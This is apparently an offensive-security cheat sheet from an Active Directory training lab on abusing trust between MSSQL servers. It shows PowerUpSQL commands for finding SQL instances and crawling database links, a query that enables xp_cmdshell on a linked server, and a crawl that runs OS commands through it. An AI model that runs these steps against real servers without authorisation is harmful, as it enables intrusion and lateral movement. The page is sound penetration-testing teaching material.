Trust Abuse - MSSQL Servers
MS SQL servers are generally deployed in plenty in a Windows domain.
SQL Servers provide very good options for lateral movement as domain users can be mapped to database roles.
For MSSQL and PowerShell hackery, lets use PowerUpSQL https://github.com/NetSPI/PowerUpSQL
Discovery (SPN Scanning)
Get-SQLInstanceDomainCheck Accessibility
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose Gather Information
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
Database Links
A database link allows a SQL Server to access external data sources like other SQL Servers and OLE DB data sources.
In case of database links between SQL servers, that is, linked SQL servers it is possible to execute stored procedures.
Database links work even across forest trusts.
Searching for Database Links:
# Look for links to remote servers
Get-SQLServerLink -Instance dcorp-mssql -VerboseEnumerating Database Links Manually
Openquery() function can be used to run queries on a linked database
select * from openquery("dcorp-sql1",'select * from master..sysservers')
Enumerating Database Links
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Verbose
Executing Commands
On the target server, either xp_cmdshell should be already enabled; or
If rpcout is enabled (disabled by default), xp_cmdshell can be enabled using:
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "eu-sql"Use the -QuertyTarget parameter to run Query on a specific instance (without -QueryTarget the command tries to use xp_cmdshell on every link of the chain)
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'" -QueryTarget eu-sql
Last updated